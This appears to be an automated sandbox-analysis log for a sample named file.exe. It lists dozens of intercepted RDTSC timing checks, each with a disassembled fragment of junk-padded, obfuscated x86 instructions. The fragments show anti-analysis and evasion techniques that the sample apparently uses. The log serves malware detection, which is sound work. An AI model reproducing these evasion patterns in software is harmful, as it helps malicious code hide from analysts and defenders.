Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1013590 second address: 10135C2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push edx 0x00000006 pop edx 0x00000007 pop ebx 0x00000008 jng 00007F60C4BB5408h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jl 00007F60C4BB542Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a jmp 00007F60C4BB5416h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10135C2 second address: 10135C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101742F second address: 1017447 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB5412h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017447 second address: 101744C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 101744C second address: 1017468 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5410h 0x00000007 push eax 0x00000008 push edx 0x00000009 jp 00007F60C4BB5406h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10179B5 second address: 10179CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F60C4EB3782h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10179CD second address: 10179D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017B30 second address: 1017B4A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB377Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017B4A second address: 1017B50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017B50 second address: 1017B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4EB3787h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c push edi 0x0000000d jnp 00007F60C4EB3776h 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D0A second address: 1017D0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017D0F second address: 1017D22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F60C4EB3776h 0x0000000a pop eax 0x0000000b je 00007F60C4EB377Eh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017E7E second address: 1017E82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017E82 second address: 1017E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1017FF5 second address: 101800B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F60C4BB5410h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102291A second address: 102292E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4EB377Fh 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102303E second address: 1023045 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023320 second address: 102333E instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F60C4EB3787h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023608 second address: 1023636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB5411h 0x00000009 pop ecx 0x0000000a jmp 00007F60C4BB5418h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023636 second address: 102363C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102363C second address: 1023642 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1023642 second address: 1023656 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3780h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C812 second address: 102C818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C818 second address: 102C81C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C81C second address: 102C83C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007F60C4BB5406h 0x0000000e jmp 00007F60C4BB5412h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C83C second address: 102C840 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 102C840 second address: 102C850 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 js 00007F60C4BB5430h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 103A0BD second address: 103A0D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F60C4EB3776h 0x0000000a ja 00007F60C4EB3776h 0x00000010 popad 0x00000011 jbe 00007F60C4EB3789h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1040AFA second address: 1040B13 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5415h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 104AA3A second address: 104AA60 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F60C4EB3776h 0x00000008 jl 00007F60C4EB3776h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnp 00007F60C4EB3776h 0x00000018 jmp 00007F60C4EB377Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10518D6 second address: 10518DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10518DC second address: 10518EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F60C4EB377Bh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10518EF second address: 105190E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F60C4BB5414h 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A13B second address: 105A13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A13F second address: 105A143 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A143 second address: 105A14B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A14B second address: 105A180 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F60C4BB5406h 0x00000009 jmp 00007F60C4BB5412h 0x0000000e popad 0x0000000f jmp 00007F60C4BB5412h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push edx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105A180 second address: 105A186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1058F60 second address: 1058FB9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 jmp 00007F60C4BB5418h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push ebx 0x00000014 jmp 00007F60C4BB5413h 0x00000019 pushad 0x0000001a je 00007F60C4BB5406h 0x00000020 jmp 00007F60C4BB5416h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1059441 second address: 105945E instructions: 0x00000000 rdtsc 0x00000002 js 00007F60C4EB3776h 0x00000008 jmp 00007F60C4EB377Dh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E88C second address: 105E8AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5410h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E8AC second address: 105E8B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E3ED second address: 105E406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jno 00007F60C4BB5412h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E406 second address: 105E410 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F60C4EB377Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E410 second address: 105E42C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F60C4BB5414h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E42C second address: 105E430 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E430 second address: 105E436 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 105E5AE second address: 105E5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064F53 second address: 1064FA0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F60C4BB5414h 0x00000008 jng 00007F60C4BB5406h 0x0000000e pop esi 0x0000000f jmp 00007F60C4BB5417h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F60C4BB5411h 0x0000001d push ebx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064FA0 second address: 1064FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064FA7 second address: 1064FC8 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F60C4BB541Ch 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1064FC8 second address: 1064FCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106F732 second address: 106F736 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10729AA second address: 10729B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F60C4EB3776h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106B7DF second address: 106B802 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jbe 00007F60C4BB540Eh 0x0000000b popad 0x0000000c jnp 00007F60C4BB5416h 0x00000012 pushad 0x00000013 jl 00007F60C4BB5406h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F48B second address: 107F48F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F48F second address: 107F4B2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a jmp 00007F60C4BB5419h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F4B2 second address: 107F4B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F4B6 second address: 107F4C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB540Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F5F5 second address: 107F5F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F5F9 second address: 107F61D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB540Fh 0x00000007 jno 00007F60C4BB5406h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jne 00007F60C4BB540Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107F61D second address: 107F621 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FEF7 second address: 108FF2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4BB5414h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F60C4BB5416h 0x0000000e jl 00007F60C4BB5412h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FF2D second address: 108FF33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F06C second address: 108F070 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F070 second address: 108F07A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F60C4EB3776h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F07A second address: 108F098 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F60C4BB5413h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F61D second address: 108F654 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 ja 00007F60C4EB3776h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 pushad 0x00000013 jng 00007F60C4EB3778h 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b jmp 00007F60C4EB3781h 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jc 00007F60C4EB3776h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108F8FD second address: 108F901 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FBFB second address: 108FC14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 jnc 00007F60C4EB3776h 0x0000000c jbe 00007F60C4EB3776h 0x00000012 popad 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FC14 second address: 108FC19 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FC19 second address: 108FC2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F60C4EB3776h 0x0000000a push edi 0x0000000b pop edi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FC2D second address: 108FC38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F60C4BB5406h 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FC38 second address: 108FC50 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3783h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 108FC50 second address: 108FC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jmp 00007F60C4BB5416h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10929E7 second address: 1092A0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60C4EB3784h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F60C4EB3778h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092A0A second address: 1092A0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092DCC second address: 1092DD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1092DD2 second address: 1092DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10930F5 second address: 109315B instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007F60C4EB3776h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f jl 00007F60C4EB3778h 0x00000015 jmp 00007F60C4EB3786h 0x0000001a push dword ptr [ebp+122D2E7Eh] 0x00000020 mov edx, dword ptr [ebp+122D1DB0h] 0x00000026 call 00007F60C4EB3779h 0x0000002b pushad 0x0000002c jp 00007F60C4EB3782h 0x00000032 pushad 0x00000033 push ebx 0x00000034 pop ebx 0x00000035 push ebx 0x00000036 pop ebx 0x00000037 popad 0x00000038 popad 0x00000039 push eax 0x0000003a jo 00007F60C4EB3788h 0x00000040 pushad 0x00000041 push eax 0x00000042 push edx 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109315B second address: 10931A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB540Ah 0x00000009 popad 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jmp 00007F60C4BB540Eh 0x00000013 mov eax, dword ptr [eax] 0x00000015 js 00007F60C4BB5418h 0x0000001b mov dword ptr [esp+04h], eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10931A0 second address: 10931AA instructions: 0x00000000 rdtsc 0x00000002 je 00007F60C4EB3776h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10931AA second address: 10931B4 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F60C4BB540Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109441A second address: 109441E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 109441E second address: 1094424 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1094424 second address: 1094445 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007F60C4EB3783h 0x0000000c jg 00007F60C4EB3776h 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1095C40 second address: 1095C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F7B127 second address: F7B158 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F60C4EB3781h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F60C4EB3784h 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F05B8 second address: 56F05BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F05BC second address: 56F05F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007F60C4EB377Bh 0x0000000d xchg eax, ebp 0x0000000e jmp 00007F60C4EB3786h 0x00000013 mov ebp, esp 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 movsx edx, cx 0x0000001b mov bx, si 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F05F2 second address: 56F05F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 56F05F8 second address: 56F05FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB4393 second address: FB43A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60C4BB540Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FB459C second address: FB45A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
